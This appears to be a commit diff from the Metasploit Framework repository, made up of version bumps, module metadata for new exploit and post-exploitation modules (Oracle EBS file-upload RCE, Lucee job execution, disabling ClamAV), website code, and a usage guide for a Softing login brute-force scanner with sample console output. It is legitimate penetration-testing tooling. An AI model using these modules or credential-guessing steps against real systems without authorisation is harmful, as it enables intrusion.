Compare commits
99 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| f3975e968f | |||
| ec2d71cbb7 | |||
| a418bd9c65 | |||
| 1245124afa | |||
| dde4445dab | |||
| 3fabcc3421 | |||
| 82005fe3cf | |||
| c8aa491378 | |||
| 3abd62076c | |||
| 89d9da87bd | |||
| a916163b49 | |||
| b3e6767125 | |||
| 380a66916f | |||
| 41c231b803 | |||
| b8178397a9 | |||
| 2be54376bc | |||
| d92b6e328a | |||
| 1f370b3c9e | |||
| 87f046f351 | |||
| ac3e84d3fb | |||
| 524f5e4e63 | |||
| 8b03f2fda8 | |||
| 4cd50b4550 | |||
| fc76f5f039 | |||
| 2f08cf6c46 | |||
| 47652e3b19 | |||
| 3c56cf7a15 | |||
| 363a3415df | |||
| b7d373d247 | |||
| 50fdd4536e | |||
| 49a2f481b6 | |||
| fe8afed994 | |||
| 020d2d3302 | |||
| f6bfa6a61b | |||
| 20dbc175d1 | |||
| 26d9026fc2 | |||
| fc8f94fff4 | |||
| 9706ee9d9e | |||
| ca6faed172 | |||
| 5311a491e9 | |||
| 7db2d86147 | |||
| 22ad9ebe7f | |||
| a408e3e27f | |||
| 011ffb87bd | |||
| 5749b402af | |||
| 9a874c352b | |||
| 9e9e7ac938 | |||
| 0479215373 | |||
| 5e2f0965f3 | |||
| 8db255288b | |||
| 2ed89dda7e | |||
| fbf2e5d370 | |||
| f4549b0a1e | |||
| 42bd87e0c1 | |||
| 4c25530afe | |||
| ae461c2395 | |||
| 59eb419d28 | |||
| d16905ca49 | |||
| 8b27c2e8f7 | |||
| 743e5ffd9f | |||
| 10552cbc87 | |||
| 9ff4cdfd5c | |||
| 55371f9363 | |||
| 62439bbcd0 | |||
| 2b5b17916f | |||
| 690abcfe1f | |||
| 963b9a9952 | |||
| 3854c30a11 | |||
| fc5d938d8c | |||
| 1b44973c80 | |||
| 239bc02db4 | |||
| 6e9a7a9d07 | |||
| bf5919f461 | |||
| f61c3bcefc | |||
| fc5a38e870 | |||
| 1f45b1e4b7 | |||
| 75fb5e883d | |||
| bdc435f5c8 | |||
| 38d8b70873 | |||
| c713da368d | |||
| ce9933fc4c | |||
| 73e82274dd | |||
| a3a6ae9c4a | |||
| d1463df3cc | |||
| 1dadd113dd | |||
| 9c3cfd8bdb | |||
| 2a386981bd | |||
| f4c5e34a1b | |||
| fcfc39296f | |||
| d5b7ad30a1 | |||
| a3f4dceb5b | |||
| 6b29b14c46 | |||
| dc8ee988f5 | |||
| a19bdde276 | |||
| 54c472ef18 | |||
| d4be663923 | |||
| 86f11b09fb | |||
| 406574722a | |||
| b97a288102 |
+3
-3
@@ -1,7 +1,7 @@
|
||||
PATH
|
||||
remote: .
|
||||
specs:
|
||||
metasploit-framework (6.3.4)
|
||||
metasploit-framework (6.3.5)
|
||||
actionpack (~> 7.0)
|
||||
activerecord (~> 7.0)
|
||||
activesupport (~> 7.0)
|
||||
@@ -29,7 +29,7 @@ PATH
|
||||
metasploit-concern
|
||||
metasploit-credential
|
||||
metasploit-model
|
||||
metasploit-payloads (= 2.0.108)
|
||||
metasploit-payloads (= 2.0.113)
|
||||
metasploit_data_models
|
||||
metasploit_payloads-mettle (= 1.0.20)
|
||||
mqtt
|
||||
@@ -249,7 +249,7 @@ GEM
|
||||
activemodel (~> 7.0)
|
||||
activesupport (~> 7.0)
|
||||
railties (~> 7.0)
|
||||
metasploit-payloads (2.0.108)
|
||||
metasploit-payloads (2.0.113)
|
||||
metasploit_data_models (6.0.2)
|
||||
activerecord (~> 7.0)
|
||||
activesupport (~> 7.0)
|
||||
|
||||
+2
-2
@@ -70,9 +70,9 @@ memory_profiler, 1.0.1, MIT
|
||||
metasm, 1.0.5, LGPL-2.1
|
||||
metasploit-concern, 5.0.1, "New BSD"
|
||||
metasploit-credential, 6.0.2, "New BSD"
|
||||
metasploit-framework, 6.3.4, "New BSD"
|
||||
metasploit-framework, 6.3.5, "New BSD"
|
||||
metasploit-model, 5.0.1, "New BSD"
|
||||
metasploit-payloads, 2.0.108, "3-clause (or ""modified"") BSD"
|
||||
metasploit-payloads, 2.0.113, "3-clause (or ""modified"") BSD"
|
||||
metasploit_data_models, 6.0.2, "New BSD"
|
||||
metasploit_payloads-mettle, 1.0.20, "3-clause (or ""modified"") BSD"
|
||||
method_source, 1.0.0, MIT
|
||||
|
||||
@@ -5556,7 +5556,7 @@
|
||||
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2022-11-14 12:27:38 +0000",
|
||||
"mod_time": "2023-02-24 13:50:04 +0000",
|
||||
"path": "/modules/auxiliary/admin/ldap/rbcd.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "admin/ldap/rbcd",
|
||||
@@ -20184,7 +20184,7 @@
|
||||
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2022-12-07 10:48:07 +0000",
|
||||
"mod_time": "2023-02-24 13:50:04 +0000",
|
||||
"path": "/modules/auxiliary/gather/ldap_esc_vulnerable_cert_finder.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "gather/ldap_esc_vulnerable_cert_finder",
|
||||
@@ -20279,7 +20279,7 @@
|
||||
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2023-01-24 11:23:28 +0000",
|
||||
"mod_time": "2023-02-24 13:50:04 +0000",
|
||||
"path": "/modules/auxiliary/gather/ldap_query.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "gather/ldap_query",
|
||||
@@ -35079,6 +35079,62 @@
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"auxiliary_scanner/http/softing_sis_login": {
|
||||
"name": "Softing Secure Integration Server Login Utility",
|
||||
"fullname": "auxiliary/scanner/http/softing_sis_login",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "auxiliary",
|
||||
"author": [
|
||||
"Imran E. Dawoodjee <imrandawoodjee.infosec@gmail.com>"
|
||||
],
|
||||
"description": "This module will attempt to authenticate to a Softing Secure Integration Server.",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "",
|
||||
"arch": "",
|
||||
"rport": 8099,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8000,
|
||||
8888,
|
||||
8880,
|
||||
8008,
|
||||
3000,
|
||||
8443
|
||||
],
|
||||
"autofilter_services": [
|
||||
"http",
|
||||
"https"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2023-02-28 15:40:03 +0000",
|
||||
"path": "/modules/auxiliary/scanner/http/softing_sis_login.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/http/softing_sis_login",
|
||||
"check": false,
|
||||
"post_auth": true,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
|
||||
],
|
||||
"Reliability": [
|
||||
|
||||
],
|
||||
"SideEffects": [
|
||||
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"auxiliary_scanner/http/splunk_web_login": {
|
||||
"name": "Splunk Web Interface Login Utility",
|
||||
"fullname": "auxiliary/scanner/http/splunk_web_login",
|
||||
@@ -63294,7 +63350,7 @@
|
||||
"Askar",
|
||||
"jheysel-r7"
|
||||
],
|
||||
"description": "Froxlor v2.0.6 and below suffer from a bug that allows authenticated users to change the application logs path\n to any directory on the OS level which the user www-data can write without restrictions from the backend which\n leads to writing a malicious Twig template that the application will render. That will lead to achieving a\n remote command execution under the user www-data.",
|
||||
"description": "Froxlor v2.0.7 and below suffer from a bug that allows authenticated users to change the application logs path\n to any directory on the OS level which the user www-data can write without restrictions from the backend which\n leads to writing a malicious Twig template that the application will render. That will lead to achieving a\n remote command execution under the user www-data.",
|
||||
"references": [
|
||||
"URL-https://shells.systems/author/askar/",
|
||||
"CVE-2023-0315"
|
||||
@@ -63321,7 +63377,7 @@
|
||||
"Linux ",
|
||||
"Unix Command"
|
||||
],
|
||||
"mod_time": "2023-02-22 12:28:28 +0000",
|
||||
"mod_time": "2023-02-24 13:33:10 +0000",
|
||||
"path": "/modules/exploits/linux/http/froxlor_log_path_rce.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/http/froxlor_log_path_rce",
|
||||
@@ -67830,6 +67886,70 @@
|
||||
"session_types": false,
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_linux/http/oracle_ebs_rce_cve_2022_21587": {
|
||||
"name": "Oracle E-Business Suite (EBS) Unauthenticated Arbitrary File Upload",
|
||||
"fullname": "exploit/linux/http/oracle_ebs_rce_cve_2022_21587",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 600,
|
||||
"disclosure_date": "2022-10-01",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"sf <stephen_fewer@harmonysecurity.com>",
|
||||
"HMs",
|
||||
"l1k3beef"
|
||||
],
|
||||
"description": "This module exploits an unauthenticated arbitrary file upload vulnerability in Oracle Web Applications\n Desktop Integrator, as shipped with Oracle EBS versions 12.2.3 through to 12.2.11, in\n order to gain remote code execution as the oracle user.",
|
||||
"references": [
|
||||
"CVE-2022-21587",
|
||||
"URL-https://attackerkb.com/topics/Bkij5kK1qK/cve-2022-21587/rapid7-analysis",
|
||||
"URL-https://blog.viettelcybersecurity.com/cve-2022-21587-oracle-e-business-suite-unauth-rce/",
|
||||
"URL-https://github.com/hieuminhnv/CVE-2022-21587-POC"
|
||||
],
|
||||
"platform": "Linux",
|
||||
"arch": "java",
|
||||
"rport": 8000,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8000,
|
||||
8888,
|
||||
8880,
|
||||
8008,
|
||||
3000,
|
||||
8443
|
||||
],
|
||||
"autofilter_services": [
|
||||
"http",
|
||||
"https"
|
||||
],
|
||||
"targets": [
|
||||
"Oracle EBS on Linux (OVA Install)"
|
||||
],
|
||||
"mod_time": "2023-02-21 18:02:10 +0000",
|
||||
"path": "/modules/exploits/linux/http/oracle_ebs_rce_cve_2022_21587.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/http/oracle_ebs_rce_cve_2022_21587",
|
||||
"check": true,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
],
|
||||
"SideEffects": [
|
||||
"artifacts-on-disk",
|
||||
"ioc-in-logs"
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": true
|
||||
},
|
||||
"exploit_linux/http/pandora_fms_events_exec": {
|
||||
"name": "Pandora FMS Events Remote Command Execution",
|
||||
"fullname": "exploit/linux/http/pandora_fms_events_exec",
|
||||
@@ -89602,6 +89722,68 @@
|
||||
"session_types": false,
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_multi/http/lucee_scheduled_job": {
|
||||
"name": "Lucee Authenticated Scheduled Job Code Execution",
|
||||
"fullname": "exploit/multi/http/lucee_scheduled_job",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 600,
|
||||
"disclosure_date": "2023-02-10",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"Alexander Philiotis"
|
||||
],
|
||||
"description": "This module can be used to execute a payload on Lucee servers that have an exposed\n administrative web interface. It's possible for an administrator to create a\n scheduled job that queries a remote ColdFusion file, which is then downloaded and executed\n when accessed. The payload is uploaded as a cfm file when queried by the target server. When executed,\n the payload will run as the user specified during the Lucee installation. On Windows, this is a service account;\n on Linux, it is either the root user or lucee.",
|
||||
"references": [
|
||||
"URL-https://docs.lucee.org/",
|
||||
"URL-https://docs.lucee.org/reference/tags/execute.html",
|
||||
"URL-https://docs.lucee.org/reference/tags/script.html"
|
||||
],
|
||||
"platform": "",
|
||||
"arch": "",
|
||||
"rport": 8888,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8000,
|
||||
8888,
|
||||
8880,
|
||||
8008,
|
||||
3000,
|
||||
8443
|
||||
],
|
||||
"autofilter_services": [
|
||||
"http",
|
||||
"https"
|
||||
],
|
||||
"targets": [
|
||||
"Windows Command",
|
||||
"Unix Command"
|
||||
],
|
||||
"mod_time": "2023-02-28 17:28:48 +0000",
|
||||
"path": "/modules/exploits/multi/http/lucee_scheduled_job.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "multi/http/lucee_scheduled_job",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
],
|
||||
"SideEffects": [
|
||||
"ioc-in-logs",
|
||||
"artifacts-on-disk"
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": true
|
||||
},
|
||||
"exploit_multi/http/magento_unserialize": {
|
||||
"name": "Magento 2.0.6 Unserialize Remote Code Execution",
|
||||
"fullname": "exploit/multi/http/magento_unserialize",
|
||||
@@ -210163,6 +210345,52 @@
|
||||
],
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"post_linux/manage/disable_clamav": {
|
||||
"name": "Disable ClamAV",
|
||||
"fullname": "post/linux/manage/disable_clamav",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 600,
|
||||
"disclosure_date": null,
|
||||
"type": "post",
|
||||
"author": [
|
||||
"DLL_Cool_J"
|
||||
],
|
||||
"description": "This module will write to the ClamAV Unix socket to shutoff ClamAV.",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "Linux",
|
||||
"arch": "",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2023-02-23 20:57:19 +0000",
|
||||
"path": "/modules/post/linux/manage/disable_clamav.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/manage/disable_clamav",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"service-resource-loss"
|
||||
],
|
||||
"Reliability": [
|
||||
|
||||
],
|
||||
"SideEffects": [
|
||||
"ioc-in-logs"
|
||||
]
|
||||
},
|
||||
"session_types": [
|
||||
"meterpreter",
|
||||
"shell"
|
||||
],
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"post_linux/manage/dns_spoofing": {
|
||||
"name": "Native DNS Spoofing module",
|
||||
"fullname": "post/linux/manage/dns_spoofing",
|
||||
@@ -219073,7 +219301,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2023-02-08 13:47:34 +0000",
|
||||
"mod_time": "2023-02-14 11:21:05 +0000",
|
||||
"path": "/modules/post/windows/gather/enum_ad_users.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/gather/enum_ad_users",
|
||||
|
||||
@@ -1,19 +1,60 @@
|
||||
// Handle opening/closing module overview list items
|
||||
jtd.onReady(function(ready) {
|
||||
var moduleStructures = document.querySelectorAll('.module-structure');
|
||||
for (var i = 0; i < moduleStructures.length; i++) {
|
||||
jtd.addEvent(moduleStructures[i], 'click', function (e) {
|
||||
var forEach = function (list, callback) {
|
||||
for (var i = 0; i < list.length; i++) {
|
||||
callback(list[i])
|
||||
}
|
||||
};
|
||||
|
||||
// Bind listeners for expand all / collapse all functionality
|
||||
var bindToggleAll = function (selector, options) {
|
||||
var isOpen = options.open;
|
||||
var expandAllButtons = document.querySelectorAll(selector);
|
||||
forEach(expandAllButtons, function (button) {
|
||||
jtd.addEvent(button, 'click', function (e) {
|
||||
var originalTarget = e.target || e.srcElement || e.originalTarget;
|
||||
if (originalTarget.tagName !== 'A') { return; }
|
||||
|
||||
var moduleList = originalTarget.closest('.module-list');
|
||||
forEach(moduleList.querySelectorAll('.folder > ul'), function (list) {
|
||||
if (isOpen) {
|
||||
list.classList.add('open');
|
||||
} else {
|
||||
list.classList.remove('open');
|
||||
}
|
||||
})
|
||||
|
||||
e.preventDefault();
|
||||
});
|
||||
});
|
||||
};
|
||||
bindToggleAll('.module-list [data-expand-all]', { open: true })
|
||||
bindToggleAll('.module-list [data-collapse-all]', { open: false })
|
||||
|
||||
// Bind listeners for collapsing module navigation items
|
||||
var moduleStructureElements = document.querySelectorAll('.module-structure');
|
||||
forEach(moduleStructureElements, function (moduleStructure) {
|
||||
jtd.addEvent(moduleStructure, 'click', function (e) {
|
||||
var originalTarget = e.target || e.srcElement || e.originalTarget;
|
||||
if (originalTarget.tagName !== 'A') { return; }
|
||||
|
||||
var parentListItem = originalTarget.closest('li');
|
||||
if (parentListItem.className.indexOf('folder') === -1) { return; }
|
||||
|
||||
var childList = parentListItem.querySelector('ul');
|
||||
if (childList) {
|
||||
childList.classList.toggle('open');
|
||||
}
|
||||
toggleChildModuleList(parentListItem)
|
||||
e.preventDefault();
|
||||
});
|
||||
})
|
||||
|
||||
var toggleChildModuleList = function (parent) {
|
||||
var list = parent.querySelector('ul');
|
||||
if (!list) {
|
||||
return;
|
||||
}
|
||||
list.classList.toggle('open');
|
||||
// Recursively automatically open any nested lists of size 1
|
||||
if (list.children.length === 1) {
|
||||
toggleChildModuleList(list.children[0])
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
@@ -6,6 +6,10 @@ require 'pathname'
|
||||
# Helper class for extracting information related to Metasploit framework's stats
|
||||
#
|
||||
class MetasploitStats
|
||||
def total_module_count
|
||||
modules.length
|
||||
end
|
||||
|
||||
# @return [Hash<String, Integer>] A map of module type to the amount of modules
|
||||
def module_counts
|
||||
module_counts_by_type = modules.group_by { |mod| mod['type'].to_s }.transform_values { |mods| mods.count }.sort_by(&:first).to_h
|
||||
@@ -71,11 +75,27 @@ end
|
||||
module ModuleFilter
|
||||
# @param [Array<Hash>] modules The array of Metasploit cache information
|
||||
# @return [String] The module tree HTML representation of the given modules
|
||||
def module_tree(modules)
|
||||
def module_tree(modules, title = 'Modules', show_controls = false)
|
||||
rendered_children = render_modules(modules)
|
||||
controls = <<~EOF
|
||||
<div class="module-controls">
|
||||
<span><a href="#" data-expand-all>Expand All</a></span>
|
||||
<span><a href="#" data-collapse-all>Collapse All</a></span>
|
||||
</div>
|
||||
EOF
|
||||
|
||||
<<~EOF
|
||||
<ul class="module-structure">#{rendered_children}</ul>
|
||||
<div class="module-list">
|
||||
#{show_controls ? controls : ''}
|
||||
|
||||
<ul class="module-structure">
|
||||
<li class="folder"><a href=\"#\"><div class=\"target\">#{title}</div></a>
|
||||
<ul class="open">
|
||||
#{rendered_children}
|
||||
</ul>
|
||||
</li>
|
||||
</ul>
|
||||
</div>
|
||||
EOF
|
||||
end
|
||||
|
||||
@@ -85,7 +105,8 @@ module ModuleFilter
|
||||
# @return [String] The rendered tree HTML representation of the given modules
|
||||
def render_modules(modules)
|
||||
modules.map do |mod|
|
||||
result = "<li#{render_child_modules?(mod) ? ' class="folder"' : ''}>#{heading_for_mod(mod)}"
|
||||
classes = render_child_modules?(mod) ? ' class="folder"' : ''
|
||||
result = "<li#{classes}>#{heading_for_mod(mod)}"
|
||||
if render_child_modules?(mod)
|
||||
result += "\n<ul>#{render_modules(mod[:children].sort_by { |mod| "#{render_child_modules?(mod) ? 0 : 1}-#{mod[:name]}" })}</ul>\n"
|
||||
end
|
||||
@@ -126,7 +147,7 @@ Jekyll::Hooks.register :site, :after_init do |site|
|
||||
|
||||
metasploit_stats = MetasploitStats.new
|
||||
|
||||
site.config['metasploit_total_module_count'] = metasploit_stats.module_counts.sum { |_type, count| count }
|
||||
site.config['metasploit_total_module_count'] = metasploit_stats.total_module_count
|
||||
site.config['metasploit_module_counts'] = metasploit_stats.module_counts
|
||||
site.config['metasploit_nested_module_counts'] = metasploit_stats.nested_module_counts
|
||||
|
||||
|
||||
@@ -45,14 +45,32 @@
|
||||
width: 90%;
|
||||
}
|
||||
|
||||
.module-controls {
|
||||
line-height: 0;
|
||||
border-bottom: 1px solid #ddd;
|
||||
}
|
||||
|
||||
.module-controls a {
|
||||
line-height: 1;
|
||||
padding: 0.5rem;
|
||||
display: inline-block;
|
||||
}
|
||||
|
||||
.module-controls span {
|
||||
display: inline-block;
|
||||
}
|
||||
|
||||
.module-structure a, .module-structure a:hover {
|
||||
background-image: none;
|
||||
}
|
||||
|
||||
.module-structure a:hover .target {
|
||||
.module-structure a .target {
|
||||
pointer-events: none;
|
||||
display: inline-block;
|
||||
text-decoration: none;
|
||||
}
|
||||
|
||||
.module-structure a:hover .target {
|
||||
background-image: linear-gradient(rgba(114, 83, 237, 0.45) 0%, rgba(114, 83, 237, 0.45) 100%);
|
||||
background-repeat: repeat-x;
|
||||
background-position: 0 100%;
|
||||
@@ -70,6 +88,11 @@
|
||||
border-left: 1px dashed #d1d7de;
|
||||
}
|
||||
|
||||
/* Never allow the top-most files/folders to be collapsed */
|
||||
.module-structure > li.folder > ul {
|
||||
display: block;
|
||||
}
|
||||
|
||||
.module-structure li p {
|
||||
margin: 0;
|
||||
}
|
||||
|
||||
@@ -22,13 +22,6 @@ Metasploit's LDAP service mixin provides a service to enable interaction over th
|
||||
Size: Medium
|
||||
Difficulty: 3/5
|
||||
|
||||
### Enhanced LDAP Query & Collection
|
||||
|
||||
When preforming security assessment on a network with centralized login such as LDAP or Active Directory these services are sometimes exposed directly on the network. While Metasploit has capabilities to collect various pieces of information from these services when a user has been able to gain code execution inside a target system by utilizing tooling such as `Sharphound` or by leveraging SMB services via the `secrets_dump` module, these methods are somewhat indirect. A network base capability to query exposed services may have value. An interactive terminal plugin allowing users to connect directly to LDAP or Active Directory providing capabilities similar to the existing `requests` plugin could enable users search for valuable information in these services without the need to compromise a target or interact with a secondary service.
|
||||
|
||||
Size: Medium/Large (Depends on proposal)
|
||||
Difficulty: 3/5
|
||||
|
||||
### Improving post-exploit API to be more consistent, work smoothly across session types
|
||||
|
||||
The Metasploit post-exploitation API is intended to provide a unified interface between different Meterpreter, shell, PowerShell, mainframe, and other session types. However, there are areas where the implementation is not consistent, and could use improvements:
|
||||
|
||||
@@ -159,3 +159,30 @@ Module advanced options (auxiliary/scanner/http/title):
|
||||
VERBOSE false no Enable detailed status messages
|
||||
WORKSPACE no Specify the workspace for this module
|
||||
```
|
||||
|
||||
### HTTP Multiple-Headers
|
||||
Additional headers can be set via the `HTTPRawHeaders` option.
|
||||
A file containing a ERB template will be used to append to the headers section of the HTTP request.
|
||||
An example of an ERB template file is shown below.
|
||||
```
|
||||
Header-Name-Here: <%= 'content of header goes here' %>
|
||||
```
|
||||
|
||||
The following output shows leveraging the scraper scanner module with an additional header stored in ```additional_headers.txt```.
|
||||
```msf
|
||||
msf6 auxiliary(scanner/http/scraper) > cat additional_headers.txt
|
||||
[*] exec: cat additional_headers.txt
|
||||
|
||||
X-Cookie-Header: <%= 'example-cookie' %>
|
||||
msf6 auxiliary(scanner/http/scraper) > set HTTPRAWHEADERS additional_headers.txt
|
||||
HTTPRAWHEADERS => additional_headers.txt
|
||||
msf6 auxiliary(scanner/http/scraper) > exploit
|
||||
|
||||
####################
|
||||
# Request:
|
||||
####################
|
||||
GET / HTTP/1.0
|
||||
Host: 172.16.0.63:8000
|
||||
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 13_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15
|
||||
X-Cookie-Header: example-cookie
|
||||
```
|
||||
|
||||
@@ -2,7 +2,7 @@
|
||||
|
||||
There are currently {{ site.metasploit_total_module_count }} Metasploit modules:
|
||||
|
||||
{{ site.metasploit_nested_module_counts | module_tree }}
|
||||
{{ site.metasploit_nested_module_counts | module_tree: "All Modules", true }}
|
||||
|
||||
## Module types
|
||||
|
||||
|
||||
@@ -0,0 +1,182 @@
|
||||
## Description
|
||||
|
||||
This module allows you to authenticate to Softing Secure Integration Server.
|
||||
|
||||
By default:
|
||||
* Credentials are `admin:admin`.
|
||||
* HTTP is TCP/8099 and HTTPS is TCP/443. Either one can be used, but the module defaults to TCP/8099.
|
||||
|
||||
There does not seem to be a limit to the number of times login attempts can be made.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
This module was tested against version 1.22, installed on Windows Server 2019 Standard x64.
|
||||
|
||||
*1.22 Download*
|
||||
|
||||
https://industrial.softing.com/products/opc-opc-ua-software-platform/integration-platform/secure-integration-server.html
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start `msfconsole`
|
||||
2. Do: `use auxiliary/scanner/http/softing_sis_login`
|
||||
3. Do: `set RHOSTS <target_ip>` OR `set RHOSTS file:/path/to/targets/file` if against several targets
|
||||
4. Do: Optional: `set SSL true` if necessary
|
||||
5. Do: Optional: `set RPORT 443` if SSL is set
|
||||
6. Do: `set USERNAME <username>` if necessary. Default is `admin`
|
||||
7. Do: `set PASSWORD <password>` if necessary. Default is `admin`
|
||||
8. Do: `run`
|
||||
|
||||
If running against several usernames: `set USER_FILE /path/to/usernames_file`
|
||||
If using a wordlist (e.g. common passwords): `set PASS_FILE /path/to/passwords_file`
|
||||
|
||||
`USER_FILE` and `PASS_FILE` take priority over `USERNAME` and `PASSWORD`.
|
||||
|
||||
A `username:password` pair of credentials can be provided by doing `set USERPASS_FILE /path/to/userpass_file`.
|
||||
|
||||
## Scenarios
|
||||
### Default
|
||||
|
||||
In this scenario, the default options were used.
|
||||
|
||||
```
|
||||
msf6 > use auxiliary/scanner/http/softing_sis_login
|
||||
msf6 auxiliary(scanner/http/softing_sis_login) > set RHOSTS 192.168.50.119
|
||||
RHOSTS => 192.168.50.119
|
||||
msf6 auxiliary(scanner/http/softing_sis_login) > run
|
||||
|
||||
[+] 192.168.50.119:8099 - Success: 'admin:admin'
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(scanner/http/softing_sis_login) >
|
||||
```
|
||||
|
||||
`creds` output:
|
||||
|
||||
```
|
||||
msf6 auxiliary(scanner/http/softing_sis_login) > creds
|
||||
Credentials
|
||||
===========
|
||||
|
||||
host origin service public private realm private_type JtR Format
|
||||
---- ------ ------- ------ ------- ----- ------------ ----------
|
||||
192.168.50.119 192.168.50.119 8099/tcp (http) admin admin Password
|
||||
|
||||
msf6 auxiliary(scanner/http/softing_sis_login) >
|
||||
```
|
||||
|
||||
### Different admin password, SSL in use
|
||||
|
||||
In this scenario, the default password for the `admin` user has been changed, and SSL was used.
|
||||
|
||||
```
|
||||
msf6 > use auxiliary/scanner/http/softing_sis_login
|
||||
msf6 auxiliary(scanner/http/softing_sis_login) > set RHOSTS 192.168.50.119
|
||||
RHOSTS => 192.168.50.119
|
||||
msf6 auxiliary(scanner/http/softing_sis_login) > set PASSWORD admin123
|
||||
PASSWORD => admin123
|
||||
msf6 auxiliary(scanner/http/softing_sis_login) > set SSL true
|
||||
[!] Changing the SSL option's value may require changing RPORT!
|
||||
SSL => true
|
||||
msf6 auxiliary(scanner/http/softing_sis_login) > set RPORT 443
|
||||
RPORT => 443
|
||||
msf6 auxiliary(scanner/http/softing_sis_login) > run
|
||||
|
||||
[+] 192.168.50.119:443 - Success: 'admin:admin123'
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(scanner/http/softing_sis_login) >
|
||||
```
|
||||
|
||||
`creds` output:
|
||||
|
||||
```
|
||||
msf6 auxiliary(scanner/http/softing_sis_login) > creds
|
||||
Credentials
|
||||
===========
|
||||
|
||||
host origin service public private realm private_type JtR Format
|
||||
---- ------ ------- ------ ------- ----- ------------ ----------
|
||||
192.168.50.119 192.168.50.119 8099/tcp (http) admin admin Password
|
||||
192.168.50.119 192.168.50.119 443/tcp (https) admin admin123 Password
|
||||
|
||||
msf6 auxiliary(scanner/http/softing_sis_login) >
|
||||
```
|
||||
|
||||
### Several targets, using different usernames and passwords
|
||||
|
||||
In this scenario, we have several targets that have different usernames and passwords for each.
|
||||
All the targets have the Softing Secure Integration Server login page enabled at TCP/8099.
|
||||
|
||||
Contents of `usernames.txt`:
|
||||
```
|
||||
admin
|
||||
admin1
|
||||
user
|
||||
lowpriv
|
||||
guest
|
||||
```
|
||||
|
||||
Contents of `passwords.txt`:
|
||||
```
|
||||
admin
|
||||
admin123
|
||||
BadPass
|
||||
GoodPass?
|
||||
P@ssw0rd
|
||||
user
|
||||
pass
|
||||
password
|
||||
lowpriv
|
||||
```
|
||||
|
||||
Contents of `targets.txt`:
|
||||
```
|
||||
192.168.50.71
|
||||
192.168.50.119
|
||||
192.168.50.206
|
||||
```
|
||||
|
||||
Module output:
|
||||
```
|
||||
msf6 > use auxiliary/scanner/http/softing_sis_login
|
||||
msf6 auxiliary(scanner/http/softing_sis_login) > set RHOSTS file:/home/ubuntu/Documents/targets.txt
|
||||
RHOSTS => file:/home/ubuntu/Documents/targets.txt
|
||||
msf6 auxiliary(scanner/http/softing_sis_login) > set USER_FILE ~/Documents/usernames.txt
|
||||
USER_FILE => ~/Documents/usernames.txt
|
||||
msf6 auxiliary(scanner/http/softing_sis_login) > set PASS_FILE ~/Documents/passwords.txt
|
||||
PASS_FILE => ~/Documents/passwords.txt
|
||||
msf6 auxiliary(scanner/http/softing_sis_login) > set VERBOSE false
|
||||
VERBOSE => false
|
||||
msf6 auxiliary(scanner/http/softing_sis_login) > run
|
||||
|
||||
[+] 192.168.50.71:8099 - Success: 'admin:P@ssw0rd'
|
||||
[*] Scanned 1 of 3 hosts (33% complete)
|
||||
[+] 192.168.50.119:8099 - Success: 'admin:admin'
|
||||
